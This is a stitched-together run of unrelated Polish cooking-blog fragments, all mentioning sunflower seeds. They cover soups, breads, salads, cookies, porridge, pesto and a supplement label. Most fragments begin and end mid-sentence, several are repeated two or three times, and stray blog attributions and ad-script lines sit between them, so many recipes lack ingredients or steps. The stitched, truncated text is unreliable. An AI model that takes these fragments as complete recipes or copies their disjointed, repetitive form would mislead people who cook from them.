chili, curry, odrobiną soli i pieprzu. Ja zjadłam jako czystą zupę krem z marchewki bez dodatków, można ją podać np. z ryżem, z kleksem śmietany czy jogurtu, z prażonym słonecznikiem, z tym czym lubimy jeść zupy kremy. Smacznego! The post Zupa marchewkowa fit appeared first on Damsko-męskie spojrzenie na kuchnię

plan posiłków i wyliczyliśmy ich wartości odżywcze, poświęciliśmy czas na listę produktów i udaliśmy się na zakupy. Pełni gotowości startujemy do boju, wszystko jest na dobrej drodze. Ale…czy słonecznik podprażyć na patelni czy w piekarniku, jak zachowa się ksylitol w muffinkach? To małe dylematy, które urastają do rangi sporych problemów. Wytrwałości nie każdemu starcza. Dobra organizacja, to połowa sukcesu

wystarczą 3 - 4 godziny aby chleb wyrósł i wtedy można go zrobić rano. Jeśli zakwas jest jeszcze słaby ciasto zarabiamy wieczorem a rano pieczemy. Chleb na zakwasie ze słonecznikiem. CZYTAJ DALEJ

kuleczek Składniki: 1 opakowanie koziego sera, podwójne, około 200 g 12 mini fig lub dużych rodzynek 50 g mieszanych nasion lub orzechów do obtoczenia, u mnie konopia, chia, słonecznik, dynia 1 łyżeczka cynamonu, opcjonalnie 20 g zmielonych migdałów 1 łyżka drobno pokrojonych goji Z koziego sera uformuj kuleczki, chowając w środku figę lub rodzynki. Następnie obtocz w nasionach i goji

duże garście soczewicy czerwonej, puszka mleka kokosowego, łyżeczka przyprawy Sriracha Intenson (jeśli jeszcze jej nie macie, użyjcie chilli), sól, olej. Do podania prażone nasiona – u nas siemię, słonecznik i pestki dyni. Zrób tak: czosnek, imbir i kurkumę (jeśli masz w proszku, pomiń i po prostu później dodaj ją do zupy razem z innymi przyprawami), posiekaj i rozetrzyj na desce

Radzę każdy placek przeciąć na 2 części, ponieważ dzięki temu powstaną zgrabne tortille.  10. Parówki faszerowane żółtym serem i pieczarkami "ukryte" w cieście drożdżowym udekorowanym ziarnami sezamu, słonecznika oraz siemieniem lnianym. Wbrew pozorom poniższe parówki w cieście drożdżowym są łatwe i proste do przygotowania. 11. Piersi z kurczaka w cieście francuskim nadziane pieczarkami i cebulką to pomysł na wykwintny

Można spakować do pudełka i zabrać na lunch lub drugie śniadanie. 2 porcje: 4 mniejsze buraki 50 g sera feta 1 gruszka łyżka nasion słonecznika łyżka nasion dyni łyżka nasion sezamu łyżka nasion siemienia oliwa z oliwek sok z cytryny 2 garści roszponki sos balsamiczny Umytą i osuszoną roszponkę wykładamy na talerz. Gruszkę kroimy w cienkie plasterki. Buraki zawijamy

również ekologiczne i specjalistyczne. Znajdziemy u nich również gotowe mieszanki do wypieku chleba czy ciast. Nie zaprzestali tylko na tym i w gamie produktów znajdziemy też płatki czy słonecznik łuskany, wszystko pochodzenia ekologicznego. Zapraszam Was oczywiście na ich strony i do zapoznania się z naprawdę godną polecenia gamą produktów.  www.facebook.com/polskiemlyny www.polskiemlyny.pl (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: ▪ 400 g szynki

również ekologiczne i specjalistyczne. Znajdziemy u nich również gotowe mieszanki do wypieku chleba czy ciast. Nie zaprzestali tylko na tym i w gamie produktów znajdziemy też płatki czy słonecznik łuskany, wszystko pochodzenia ekologicznego. Zapraszam Was oczywiście na ich strony i do zapoznania się z naprawdę godną polecenia gamą produktów.  www.facebook.com/polskiemlyny www.polskiemlyny.pl (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: ▪ 400 g szynki

Łatwa w przygotowaniu, orzeźwiająca nutą cytryny zupa krem na bazie kalafiora. Żeby przełamać tę lekkość dodałam aromatyczne, podsmażane z cebulą grzyby, które możecie zamienić na podprażane pestki dyni lub słonecznika. *Nie zapomnijcie śledzić mnie na Instagramie i oznaczać zdjęć z moich przepisów #eatmefitme Wykonanie Umyj kalafior a następnie podziel go na małe różyczki. Pokrój selera naciowego w plasterki, 1 cebulę

Składniki: 150 g ciecierzycy z puszki 60 g wymieszanych śliwek i moreli suszonych 70 g słonecznika łuskanego 2 łyżki tahini 15 g kakao 15 g otrębów 15 g migdałów mielonych … Czytaj dalej Fit batoniki bakaliowe

nawet 7 razy dziennie i 4 000 kcal), więc zwyczajnie nie chce mi się kombinować. Dlatego moje ulubione danie, które codziennie zjadam kilka razy, to soczewica, z kaszą, nasionami słonecznika, suszonymi grzybami, suszonymi warzywami (naturalna ,,wegeta”) i świeżymi warzywami, najczęściej są to pomidory ze szpinakiem. Od jedzenia zależy to jak wyglądam, jak się czuję i w jakim stanie znajduje

masła 1 szkl mąki pszennej 2 szkl płatków owsianych 1 jajko 1/3 szkl. cukru 4 łyżki miodu 1 łyżeczka proszku do pieczenia 1/2 szkl orzechów pini 1/2 szkl ziaren słonecznika 100g aronii kandyzowanej firmy Helio WYKONANIE: 1. Wszystkie składniki umieszczamy w misce, dokładnie wyrabiamy. 2. Kulamy kulki wielkości orzecha włoskiego, spłaszczamy, układamy na brytfance wyłożonej papierem do pieczenia. Pieczemy około

Ciasteczka kajmakowe 27.  Kruche gwiazdeczki z białą czekoladą i dżemem 28.  Pieczone pierożki krucho - drożdżowe z marmoladą 29.  Kruche ciasteczka z żurawiną, gorzką czekoladą, słonecznikiem i płatkami owsianymi 30.  Zdrowe kulki z daktylami, płatkami owsianymi i kokosem 31. Kruche ciasteczka cytrynowe z marmoladą  32. Kruche ciasteczka z masą orzechową 33. Ciasteczka spirale 34. Wafel

Składniki ; duża gruszka połowa opakowania rukoli  ( tj.40 g  ) kiść czerwonych winogron bezpestkowych ok. 15 sztuk małych pomidorów spora garść uprażonych pestek słonecznika ok. 2-3 łyżek startego sera Jadel ( ser podpuszczkowy niedojrzewający)- Pilos Przygotowanie: Rukolę umyć, dobrze osączyć, podobnie winogrono i pomidorki, gruszkę obrać ze skórki Pomidorki i winogrono pokroić na połówki, gruszkę w kostkę i pokropić

dymki ze szczypiorkiem, 1 niewielka cukinia, sól do smaku, pieprz czarny świeżo mielony do smaku, suszona chili świeżo mielona do smaku, garść mieszanki ziaren: pestki dyni, siemię lniane, sezam, słonecznik, 1 łyżeczka czarnuszki. Przygotowanie:   Kiełbasę kroimy po długości na dwie części, a następnie na paski po skosie. Rada: skórkę z kiełbasy przed krojeniem można  ściągnąć. Cebulę kroimy

tylko mąka zaczynała łączyć się z tłuszczem wlałam do niej rozczyn drożdżowy. Lubisz ciasta z orzechami? Jeśli tak to wypróbuj nasz przepis na Ciasto orzechowe ze śliwkami i słonecznikiem . The post Bejgli z orzechami włoskimi appeared first on MeCooks

propozycji, gdyż kombinacji są setki. Co nam trzeba? Ser owczy 100g Ser camembert ser żółty- dobrej jakości dwa pomidory Polędwica, szynka wędzona na zimno (taka półsurowa) po 2 łyżki: słonecznika, pestek z dyni, babki płesznik listki świeżej bazylii oliwa z oliwek 2 średnie cebule sól i pieprz Robimy! Serki kroimy w plasterki i układamy na brzegach talerza po kolei: camembert

czubata łyżeczka hommosu 1 czubata łyżeczka serka wiejskiego 1 kromka dobrego chleba, tostowanego 1/2 dojrzałego awokado, pokrojonego na plasterki 1 łyżeczka oliwy extra virgine 1 łyżeczka mieszanych pestek (dynia, słonecznik) Zetrzyj buraczka na tarce o dużych oczkach. Wymieszaj w miseczce z hommosem i serkiem. Dopraw do smaku odrobina soli i pieprzu. Rozsmaruj na chlebie. Nałóż awokado, pokrop oliwa i posyp

przepisu pomógł mi najsłodszy blog w sieci Doroty Świątkowskiej. Wykorzystałam do niego chałwę, która nie bardzo mi się udała. Chałwę robię zwykle samodzielnie prażąc ziarna sezamu i niewielkiej ilości słoneczniku, a po ostudzeniu mieląc je w młynku do kawy i następnie mieszając z miodem. Ciasto zawiera korzenne przyprawy, przez co dobrze wpisuje się w świąteczny klimat. Wykonanie ciasta ułatwi mikser

kremowym sosem na bazie awokado i pieczonych warzyw, ale polecam go przygotować z twarogiem na słodko. Do sosu dodałam sezam, ale możecie zamienić go na inne nasiona np. słonecznika. Podałam opcjonalną ilość wody do rozrzedzenia sosu, w zależności od tego, jaką konsystencję lubicie, tyle wody dodajcie. Uważam, że te 50 ml, które dodałam to minimum. Sos jest bardzo kremowy

suszonych warzyw, np. podlaskiej przyprawy do rosołu 1 łyżeczka soli 1/2 łyżeczki pieprzu ziołowego 1/2 łyżeczka kurkumy Do podania: 2 garści jarmużu 1 łyżka pestek dyni 1 łyżka pestek słonecznika 1 łyżeczka oliwy lub oleju rzepakowego Jarmuż myjemy, siekamy drobno. Ser trzemy na tarce o grubych oczkach lub kroimy bardzo drobno. Czosnek przeciskamy przez praskę. W garnku rozgrzewamy oliwę. Dodajemy

czas przygotowania około 10 minut Makaron również gotujemy według przepisu, który na opakowaniu umieścił producent. Podczas jego gotowania na patelni prażymy orzechy (oczywiście rozdrobnione na małe kawałki), ziarna słonecznika lub inne ziarna, które lubimy i które mamy pod ręką. Do prażenia używamy niewielkiej ilości oleju, która później znakomicie wkomponuje się w konsystencje makaronu. Jeśli makaron ugotujemy i odcedzimy, to teraz

gryczanej z brokułem, pomidorami, selerem naciowym i oliwkami Sałatka z cieciorki z kaszą gryczaną i kozim serem Sałatka z ryżem Sałatka z kaszą owsianą Sałatka z brukselką Sałatka ze słonecznikiem bulgurem szynką i winogronami Sałatka włoska z kaszą Sałatka z kozim serem i morelami Sałatka meksykańska SAŁATKI Z MIĘSEM – przepisy Sałatka z kurczakiem i winogronami Sałatka hawajska Włoska sałatka

fety do posypania 3 łyżki wiórków lub startego parmezanu do posypania dania pęczek świeżej pietruszki lub kolendry orientalny mix ziaren od Bakal, czyli prażony sezam czarny, pestki dyni, słonecznik, sezam Jeśli spodobał Ci się ten wpis, odwiedź mój Fanpage na Facebooku – będziesz na bieżąco z kolejnymi pysznymi wpisami 😀 Znajdziesz mnie również na Instagramie

bulionu warzywnego 200ml śmietanki kremówki 30% 150 ml białego, wytrawnego wina 1 duża cebula 4 łyżki oleju sól i pieprz do smaku po 2 łyżki pestek z dyni i słonecznika oliwa z oliwek do skropienia   Piekarnik nagrzewamy na 180°. Blachę do pieczenia wykładamy dużym arkuszem folii aluminiowej.   Bulwy selera obieramy i kroimy w dużą kostkę – około

każdy naleśnik i zawijaj w krokiety. Możesz je obsmażyć bez panierki lub w panierce z jajka i bułki tartej.     Pomysły na obiad… – Placki ziemniaczane ze słonecznikiem – S paghetti bolognese – Leczo z patisonem – Ryba pieczona na ryżu

każdy naleśnik i zawijaj w krokiety. Możesz je obsmażyć bez panierki lub w panierce z jajka i bułki tartej.     Pomysły na obiad… – Placki ziemniaczane ze słonecznikiem – S paghetti bolognese – Leczo z patisonem – Ryba pieczona na ryżu

niezależnie od rodzaju i smaku, lody są niezastąpione w upalne dni. Oprócz klasycznych smaków lodów, na rynku pojawiają się coraz to nowsze wynalazki. Lody truflowe, lody z ziaren słonecznika, lody marchewkowe – połączenia, które z pozoru wydają się kulinarnym fiasko, zaskakują i okazują się prawdziwą rozkoszą dla podniebiena. Ostatnio nasze serca podbiły lody bazyliowe. Przygotowane z jogurtu naturalnego i serka

czosnku 3 łyżki oliwy z oliwek 1 kosta rosołowa 3 szklanki wody Przyprawy: sól pieprz chilli kurkuma curry czosnek niedźwiedzi (według upodobań) łyżka śmietany uprażone na suchej patelni ziarna słonecznika WYKONANIE : C zosnek i cebulę obierz, pokrój i podsmaż w dużym garnku na oliwie. Dynię obierz,oczyść i pokrój na mniejsze kawałki. To samo zrób z ziemniakami i marchewką. Dodaj

składniki: 500 g mąki orkiszowej 500 g mąki żytniej 70-80 g drożdży 700 ml letniej wody 3 łyżeczki soli 2 łyżki cukru 300 g nasion (siemienia lnianego, słonecznika, pestek dyni) wykonanie: Drożdże dokładnie mieszamy z cukrem, ok. 100 ml letniej wody oraz z trzema łyżkami mąki orkiszowej i odstawiamy do podrośnięcia. W dużym naczyniu mieszamy mąkę orkiszową z mąką

pyszne smarowidło. A także jako dip np. do warzyw, nachos, itp. Składniki: główka brokuła (500 g) kostka sera feta light (270 g) łyżeczka nasion słonecznika łyżka jogurtu naturalnego mała cebula Sposób wykonania: Brokuły gotuj do miękkości, cebulę posiekaj w kostkę. Wymieszaj wszystkie składniki do uzyskania prawie gładkiej pasty. Podawaj

pieprzem i gotować ok. 40 min na małym ogniu.  Następnie zmiksować blenderem na papkę.  Podawać z prażonymi orzechami ziemnymi lub słonecznikiem. Wartość odżywcza: Smacznego

siemienia lnianego w ziarnach 50 g otrębów owsianych 50 g orzechów laskowych lub włoskich 50 g nasion dyni 50 g nasion słonecznika 50 g migdałów (całych,w płatkach lub mielonych) 1 łyżka cukru waniliowego 1 łyżka cynamonu 2 łyżki oleju rzepakowego 150 ml miodu 200 ml niesłodzonego soku jabłkowego Sposób przygotowania: Rozgrzej

tłuszczu / 54 g węglowodanów / 7 g błonnika płatki owsiane - 10 łyżek mleko - 1 szklanka puree dyniowe * - kilka łyżek masło orzechowe - łyżka kajmak - łyżka do podania: jabłko, cynamon, nasiona słonecznika, pestki dyni Płatki owsiane zalać w garnuszku ciepłą, ale nie wrzącą wodą, odstawić do napęcznienia. Dolać mleko, przemieszać i zagotować. Zmniejszyć moc palnika, gotować przez kilka minut dodając pozostałe składniki - puree

pesto z bazylii Niezastąpione orzeszki piniowe Jest jednak jeden składnik, który robi tutaj robotę… Chodzi o orzeszki piniowe . Kiedyś często robiłam pesto z bazylii zastępując je migdałami albo ziarnami słonecznika – ze względu na ich większą dostępność i bardziej przystępną cenę. Jednak muszę przyznać, że prażone orzeszki pinii nadają temu sosowi niepowtarzalnego smaku. Odkąd je stosuję, pesto nabiera właściwego smaku, najbliższego

Taką zupę przygotujecie w 30 minut. Jest sycąca i bardzo dobra. Werja wegetariańska oczywiście bez boczku, zastąpić go prażonymi pestkami dyni lub słonecznika. Warzywa oskrobać i pokroić w kostkę. Koperek umyć i pokroić drobniej. Do garnka wlać wodę, dodać wszystkie składniki oprócz śmietany. Zagotować i doprawić do smaku solą i pieprzu. Pieprzu odrobinę. Gotować aż warzywa będą miękkie. Zmiksować dokładnie

innymi ulubionymi dodatkami.   Do podania… gęsta śmietana, smażona cebulka, smażony boczek, natka pietruszki, świeży koperek, grzanki, świeże pieczywo, tosty, klopsiki, groszek ptysiowy, prażone pestki dyni lub słonecznika.             Pomysły na przekąski… – Szybkie paszteciki z mięsem z rosołu – Patison al’a schabowy – Domowe pieczywo czosnkowe – Czosnkowe supełki

innymi ulubionymi dodatkami.   Do podania… gęsta śmietana, smażona cebulka, smażony boczek, natka pietruszki, świeży koperek, grzanki, świeże pieczywo, tosty, klopsiki, groszek ptysiowy, prażone pestki dyni lub słonecznika.             Pomysły na przekąski… – Szybkie paszteciki z mięsem z rosołu – Patison al’a schabowy – Domowe pieczywo czosnkowe – Czosnkowe supełki

pyszne smarowidło. A także jako dip np. do warzyw, nachos, itp. Składniki: główka brokuła (500 g) kostka sera feta light (270 g) łyżeczka nasion słonecznika łyżka jogurtu naturalnego mała cebula Sposób wykonania: Brokuły gotuj do miękkości, cebulę posiekaj w kostkę. Wymieszaj wszystkie składniki do uzyskania prawie gładkiej pasty. Podawaj

pieprzem i gotować ok. 40 min na małym ogniu.  Następnie zmiksować blenderem na papkę.  Podawać z prażonymi orzechami ziemnymi lub słonecznikiem. Wartość odżywcza: Smacznego

siemienia lnianego w ziarnach 50 g otrębów owsianych 50 g orzechów laskowych lub włoskich 50 g nasion dyni 50 g nasion słonecznika 50 g migdałów (całych,w płatkach lub mielonych) 1 łyżka cukru waniliowego 1 łyżka cynamonu 2 łyżki oleju rzepakowego 150 ml miodu 200 ml niesłodzonego soku jabłkowego Sposób przygotowania: Rozgrzej

cukru -6 łyżek kakao -herbatniki  jasne około  30-40  szt Dodatki : -rodzynki -suszona żurawina -orzechy nerkowca -orzechy laskowe -orzechy ziemne -orzechy włoskie -pestki z dyni lub słonecznika -sezam Ps. W/w dodatki są tylko sugestią można dodać wszystkie po trochu lub wybrać swoje ulubione. Materiały pomocnicze: -papier do pieczenia -dwie formy keksowe Wykonanie : 1. Do rondelka wlej wodę

brokuła -125 g sera pleśniowego typu lazur* -50 ml śmietanki UHT -1 łyżka oliwy -1/2 małej cebulki -sól, pieprz -opcjonalnie: sos czosnkowy, tarty ser żółty, pestki słonecznika, dyni lub orzeszki piniowe (wedle uznania do podania) Przygotowanie Przygotować naleśniki. Brokuł obgotować w lekko osolonej wodzie lub na parze. W małym rondelku lub na patelni z grubym dnem rozgrzać łyżkę oliwy

dokarmionego dzień wcześniej, 10 g drożdży, 1 czubata łyżeczka cukru trzcinowego, 250 ml ciepłej wody, 450 g mąki pszennej typ 650 1 pełna łyżeczka soli, 2 pełne łyżki pestek słonecznika, 1 pełna łyżka siemienia lnianego Wykonanie: Do miski dajemy zakwas, ciepłą wodę, pokruszone drożdże, cukier, mieszamy, odstawiamy w ciepłe miejsce na 15 minut. Dodajemy mąkę i sól, mieszamy najpierw łyżką

upieczeniu mogą ciasto obsypać dodatkowo cukrem pudrem. Jeśli lubisz ciasta drożdżowe to spróbuj także i tych ciast i drożdżówek:   Słodki chlebek drożdżowy-chałka z migdałami i słonecznikiem Najpyszniejsze ciasto drożdżowe z waniliowym serem i cytrynowym lukrem Drożdżowe ciasto rozetowe z migdałami Jak upiec dobre ciasto drożdżowe, które zawsze wychodzi? Jeśli nie wychodzi Ci ciasto drożdżowe, albo boisz się zabrać

zalej warzywa bulionem i gotuj 30 minut pod przykryciem. Po tym czasie zblenduj całość na gładki krem i dodaj śmietankę. Podawaj krem posypany płatkami chilli i pietruszką. Można posypać słonecznikiem lub pestkami dyni. Zupa świetnie smakuje również z grzankami. Wartości odżywcze (porcja): Kcal: 225 | Białko: 5,7 | Węglowodany: 31,6 | Tłuszcze: 10 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj

wszystkie ryby. Dopuszczalne są również sery, najlepiej takie o obniżonej zawartości tłuszczu. Oprócz białek wolno nam spożywać także tłuszcze roślinne (oliwa z oliwek, orzechy, produkty sojowe, oleje roślinne, oliwki, słonecznik, nawet lekki majonez), a także zdecydowaną większość warzyw. Produktami absolutnie zakazanymi są m.in.: pieczywo (poza pieczywem chrupkim w niewielkiej ilości, o czym niżej), makarony, ryż, kasza, chipsy, chrupki, krakersy, paluszki

zwiększać swoją odporność, eliminujemy toksyny z organizmu, wspomagamy system nerwowy czy przeciwdziałamy rozwojowi nowotworów , dlatego warto włączyć go do swojej codziennej diety :) Smakiem olej konopny przypomina Mi orzechy lub słonecznik, w zapachu jest nieco ziemisty, a potrawy dzięki jego dodatkowi stają się wyraziste i charakterne. Pamiętajmy jednak że tego oleju nie wolno podgrzewać ani smażyć ! Podgrzany traci swoje cenne właściwości

patelni do miękkości z odrobiną soli i pieprzu i czosnku) 100g oliwek czarnych w całości 150 g sera feta pokrojonego w kostkę uprażone na suchej patelni: 2 łyżki ziaren słonecznika 2 łyżki pestek z dyni 1 łyżka babki płesznik sos, mieszamy: 3 łyżki oliwy z oliwek + łyżka wody + łyżka soku z cytryny + 1/3 płaskiej łyżeczki soli, pieprzu ziołowego, bazylii, tymianku

typ2000 - 300g mąki orkiszowej chlebowej typ750 - 100g mąki żytniej chlebowej typ720 - 250g zakwasu żytniego lub orkiszowego  lub po połowie orkiszowego i żytniego * - 26g soli (daję himalajską) - 60g ziaren słonecznika - 30g siemienia lnianego - 20g pestek dyni - 780g (ml) wody filtrowanej lub źródlanej lub szungitowej +ziarna do posypania chleba * zakwas wyjmujemy z lodówki min.1-2h wcześniej Wszystkie składniki umieszczamy w misie miksera

podać z… ulubionymi surówkami lub sałatkami obiadowymi, smażonymi pieczarkami, duszonymi warzywami, zasmażanymi buraczkami, ogórkiem kiszonym lub przetworami warzywnymi.     Pomysły na obiad… – Placki ziemniaczane ze słonecznikiem – S paghetti bolognese – Leczo z patisonem – Ryba pieczona na ryżu

podać z… ulubionymi surówkami lub sałatkami obiadowymi, smażonymi pieczarkami, duszonymi warzywami, zasmażanymi buraczkami, ogórkiem kiszonym lub przetworami warzywnymi.     Pomysły na obiad… – Placki ziemniaczane ze słonecznikiem – S paghetti bolognese – Leczo z patisonem – Ryba pieczona na ryżu

domowy chleb na drożdżach 1 kg mąki 1 l ciepłej wody 3 - 5 dag drożdży 0,5 szklanki otrębów pszennych po 5 łyżek ulubionych dodatków, na przykład ziaren słonecznika, płatków owsianych, czarnuszki, siemienia lnianego, żurawiny, pokrojonych suszonych śliwek itp. 1,5 łyżki soli 1 łyżeczka cukru W dużej misce mieszamy przesianą mąkę, sól, otręby oraz ziarna. Jeżeli do chleba dodajemy

domowy chleb na drożdżach 1 kg mąki 1 l ciepłej wody 3 - 5 dag drożdży 0,5 szklanki otrębów pszennych po 5 łyżek ulubionych dodatków, na przykład ziaren słonecznika, płatków owsianych, czarnuszki, siemienia lnianego, żurawiny, pokrojonych suszonych śliwek itp. 1,5 łyżki soli 1 łyżeczka cukru W dużej misce mieszamy przesianą mąkę, sól, otręby oraz ziarna. Jeżeli do chleba dodajemy

mąki pszennej typ 1850 2 łyżeczki soli 700 g ciepłej wody 20 g świeżych drożdży 1 łyżeczka cukru  garść mieszanki siemienia lnianego, sezamu i słonecznika [nie dałam] Do miski wsypać obie mąki, dodać sól i wodę. W kubeczku wymieszać drożdże z cukrem - odstawić na 10 minut.Następnie dodać do mąki. Wyrobić ciasto przez jakieś 5 minut

drobnej tarce) pół łyżeczki słodkiej papryki 2-3 gałązki natki pietruszki 2 łyżki oliwy sól i pieprz do smaku woda do rozcieńczenia (ok. szklanki) do podania: grzanki, prażone pestki słonecznika, oliwa, posiekana natka Czas przygotowania 60 minut Liczba porcji 3-4 Wartości odżywcze w porcji (bez dodatków) Kalorie: 210 Białko: 4,1 g Tłuszcze: 12,7 g Węglowodany

Lubię wszystko co jest z niego przygotowane. 500 gram topinamburu 2 mączyste ziemniaki + jeden do usmażenia "skwarków" ziemniaczanych olej cebula biała wywar z warzyw liść laurowy ziele angielskie pestki słonecznika oliwa truflowa Obrać topinambur i od razu wkładać do zimnej wody, aby nie czerniał. Obrać ziemniaki. Obrane warzywa pokroić w dość spore kowalki i podsmażyć na łyżce oleju. Dodać posiekaną

burgerów:) Kotlety pieczarkowe Składniki (na 8 sztuk): 500g pieczarek 2/3 szklanki czerwonej soczewicy 1 jajko 2 łyżki mielonych płatków owsianych (maki owsianej) 1 łyżka kaszy manny 1/3 szklanki pestek słonecznika 1 cebula 2 ząbki czosnku kilka gałązek tymianku natka pietruszki sól pieprz pieprz ziołowy bułka tarta do obtoczenia olej do smażenia Soczewice opłukać. Zagotować 2/3 szklanki wody, wsypać soczewicę, posolić

dyniowym i mozzarellą Calzone z mięsem i dynią Chlebek do odrywania z dynią i kozim serem Szpinak z pieczoną dynią i łososiem Carpaccio z pieczonej dyni z kozią bryndzą, słonecznikiem i olejem z pestek dyni Sałatka z dynią Frytki z dyni – post dr Dąbrowskiej Kluski z dyni Koktajl z dynią pieczoną Artykuł Co zrobić z pieczonej dyni pochodzi z serwisu

możesz zastąpić gęstą, kwaśną śmietaną. Dodaj sos do sałatki, dopraw solą i dokładnie wymieszaj. Przekrój ciabatę wzdłuż na pół. Na płaskiej połowce ciabaty ułóż zieleninę, np. sałatę (lub kiełki słonecznika jak u mnie). Pokrój jajka na plasterki i obłóż nimi kanapkę . Całośc posmaruj obficie sałatką i przykryj wypukłą częścią chleba. Lekko dociśnij i pokrój na średniej grubości kanapki. Z dużej

upieczone olej 1 łyżka 8 śliwek węgierek+ kilka do przybrania sól do smaku czerwona cebula 2 cm świeżego imbiru anyż gwiazdkowy 2 goździki 1 łyżka octu kremowego balsamicznego pestki słonecznika pestki dyni nasiona konopi Cebulę siekamy i podsmażamy na oleju, dodajemy śliwki i dusimy. Następnie dodajemy pokrojone upieczone buraki i zalewamy wodą. Dodajemy przyprawy. Po 15 minutach wlewamy ocet

miseczek. Udekorować pokrojonymi figami i posypać orzechami włoskimi. Ewentualnie polać jeszcze odrobiną syropu klonowego. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Owsianka czekoladowa z nektarynkami, borówkami i słonecznikiem → Owsianka z pieczoną gruszką i orzechami włoskimi → Jaglanka z masłem orzechowym i karmelizowanym bananem → Jaglanka orzechowa z młodym jęczmieniem i dżemem z czarnego bzu → Ryż na mleku z wanilią

białej dodatkowo: 3 rządki białej czekolady do warstwy czekoladowej dodatkowo: 3 rządki gorzkiej lub deserowej czekolady duży, gruby plaster dojrzałego mango, który kroimy w kosteczkę 4 łyżeczki orzechów, ziaren słonecznika (dowolnie) maliny- dobre 200g Robimy! Budyń przygotowujemy tradycyjnie z cukrem i masłem, lekko studzimy. Ma być ciepły, ale nie gorący Dzielimy na dwie części w ilośći

trochę zmian. Lubię zmiany we wnętrzach, które dokonują się wraz ze zmianami pór roku. Na początku jesieni są to drobne rzeczy takie jak: koce, poduszki, ozdoby w postaci wrzosów, słoneczników, lada moment światełek czy małych dyni. Ale chodziły za mną zmiany trochę większego kalibru, z czasem wnętrze potrafi nam się po prostu z nudzić. Najszybszym sposobem na zmianę jest ozdoba

Szybkie i zdrowe ciasteczka? Proszę bardzo! Moc dodatków sprawia, że są przyjemnie kruche, lekko słodkie i pyszne! Co nam trzeba? 100g ziaren słonecznika 100g pestek dyni 100g żurawiny suszonej 2 czubate łyżki masła orzechowego. 2 łyżki miodu (lub cukru trzcinowego) 100g wiórek kokosowych 200g jagieł ( Soligrano najlepsze) 2 jajka (jak ktoś chce bez to 2 czubate łyżki siemnienia lnianego rozpuszczonego

orzechów laskowych – 15 g migdałów – 30 g rodzynków – kilka chipsów kokosowych – łyżka siemienia lnianego – 10 g pestki dyni – 10 g słonecznika – 1/4 szklanki soku z pomarańczy + miód i cynamon do smaku Sposób przygotowania Jabłka umyć, odciąć górę i wydrążyć środek nożem. Płatki owsiane połączyć z bakaliami, posiekanymi orzechami, dodać sok z pomarańczy, miód

Makaron razowy z pesto bazyliowym to szybkie danie na zdrowy i smaczny obiad. Makaron taki możecie zabrać ze sobą do pracy jednak najlepiej smakuje zaraz po

posyp siekanym szczypiorkiem, szczyptą soli i pieprzu. Podaj od razu po przygotowaniu.         Pomysły na placki… – Placki z gotowanych ziemniaków – Placki ziemniaczane ze słonecznikiem – Złociste placki z pieczarkami i wędliną – Najprostsze placki z cukinii – Placki bananowe z 2 składników   /źródło

posyp siekanym szczypiorkiem, szczyptą soli i pieprzu. Podaj od razu po przygotowaniu.         Pomysły na placki… – Placki z gotowanych ziemniaków – Placki ziemniaczane ze słonecznikiem – Złociste placki z pieczarkami i wędliną – Najprostsze placki z cukinii – Placki bananowe z 2 składników   /źródło

doskonale sprawdzą się jako zdrowa przekąska nie tylko dla dzieci lub alergików. Polecam! (około 10-11 sztuk) 1,5 szklanki płatków jaglanych/owsianych (1 szklanka = 250 ml) 1/2 szklanki pestek słonecznika 2 łyżki miodu (płynnego) 2 łyżki wiórków kokosowych 1 łyżka rozynek 1 dojrzały banan Banana z dodatkiem miodu rozgnieść na gładkie puree. Następnie należy dodać pozostałe składniki i wszystko razem

Wegańskie BCAA - Raw sport MAINTAIN, wiśniowa kola. Firma: Revolution Foods Skład: Kompleks roślinnych BCAA (Leucyna, Izoleucyna, Walina), Woda Kokosowa w proszku, Wiśnie liofilizowane w proszku, Burak sproszkowany, Lecytyna ze Słonecznika, ekstrakt z Orzecha koli, szara sól morska, naturalny aromat wiśni, naturalny aromat koli, wyciąg ze Stewii (glikozydy stewiolowe).   Masa netto: 240g Wartości odżywcze: W porcji dziennej suchego produktu

jest już rozgrzana – nakładamy łyżką porcje ciasta. Placuszki smażymy na małym ogniu pod przykryciem przez około 2 minuty z każdej strony. Propozycja podania, np. banany i słonecznik – tak było u nas Ale zajadajcie je z czym tylko chcecie My uwielbiamy rozpoczynać dzień takimi placuszkami. Jest to fajny pomysł śniadania także dla maluchów, a nawet można z powodzeniem zapakować

Wartości odżywcze: 368 kcal B 29 g W 5 g T 25 g Składniki na 1 porcje: ▸60 g kurczaka wędzonego ▸pół kulki mozzarelli ▸1 pomidor ▸garść sałaty ▸łyżka słonecznika łuskanego ▸łyżka oleju lnianego lub oliwy ▸szczypiorek ▸sól, pieprz do smaku Przygotowanie: Kurczaka, mozzarellę i pomidora kroimy w kostkę. Dodajemy sałatę, posiekany szczypiorek. Na koniec olej lniany lub oliwę, przyprawiamy

smakoszom też przypadną do gustu. Może nie wyglądają idealnie okrągło i delikatnie popękały, ale nie idealizm wyglądu mi w głowie tylko smak! 😏 Do części z nich dodałam sezam i słonecznik, lecz nie są one koniecznym składnikiem wykonania. Na drugi dzień są równie smaczne, jak zaraz po upieczeniu. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na 20 ciasteczek: -2 szklanki mąki ryżowej

brokuły, link . Dodatkowo zapraszam po przepisy na inne rodzaje past: PASTA Z MAKRELI oraz PASTA Z AWOKADO .   Składniki: ▸1 brokuł ▸2 jajka na twardo ▸sól, pieprz ▸2 łyżki słonecznika łuskanego ▸jogurt Przygotowanie: 1. Z brokuła oddzielamy różyczki i gotujemy je w lekko osolonej wodzie do miękkości. 2. Jajka kroimy w kostkę, ostudzonego brokuła również możecie na połówki pokroić

porcję: -2 duże ziemniaki lub 3 średnie -150 g twarogu chudego -50 g kurczaka wędzonego (można pominąć i dać więcej twarogu) -2 łyżki oleju lnianego -2 łyżki jogurtu -łyżka słonecznika łuskanego -sól, pieprz, koperek (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Ziemniaki gotujemy w mundurkach w lekko osolonej wodzie. Gdy przestygnął kroimy je na pół. Wydrążamy środek. Resztki ziemniaka dodamy do farszu

